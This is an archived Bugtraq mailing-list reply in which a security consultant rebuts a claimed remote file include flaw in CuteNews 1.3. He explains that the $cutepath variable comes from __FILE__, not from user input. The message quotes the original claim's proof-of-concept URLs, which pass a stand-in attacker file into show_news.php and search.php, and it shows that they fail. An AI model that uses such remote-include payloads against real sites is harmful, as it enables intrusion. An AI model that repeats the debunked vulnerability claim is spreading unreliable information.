bugtraq - Re: CuteNews 1.3.* Remote File Include Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-Id: <20060829221225.21028@mail.gmx.de>
Date: Wed, 30 Aug 2006 00:12:25 +0200
From: "Carsten Eilers" <ceilers-lists@....de>
To: <stormhacker@...mail.com>, <bugtraq@...urityfocus.com>
Subject: Re: CuteNews 1.3.* Remote File Include Vulnerability

Hi,

stormhacker@...mail.com schrieb am Fri, 25 Aug 2006 19:14:46 +0000:

>Vendor:  CuteNews 1.3.*
>
>-----------------Description---------------
>
>
>$cutepath =  __FILE__;

Here $cutepath is set to the path of this script

>$cutepath = preg_replace( "'\\\search\.php'", "", $cutepath);
>
>$cutepath = preg_replace( "'/search\.php'", "", $cutepath);

Now the name of the script, search.php, is removed.
As result $cutepath contains the patch to the directory
of search.php...

>require_once("$cutepath/inc/functions.inc.php");

...from where inc/functions.inc.php is included.
Same for show_news.php. 
So where is a vulnerability?

>--------------PoC/Exploit----------------------
>
>
>show_news.php?cutepath=http://host/evil.txt?
>
>search.php?cutepath=http://host/evil.txt?

They don't work

>--------------Solution---------------------
>
>
>No Patch available.

No patch necessary.

>--------------Credit-----------------------
>
>
>Discovered by: rUnViRuS (worlddefacers.de)

Credit for what? A non-existing vulnerability?
OK: Applaus, applaus, applaus... ;-)

Regards
  Carsten

-- 
Dipl.-Inform. Carsten Eilers
IT-Sicherheit und Datenschutz

<http://www.ceilers-it.de>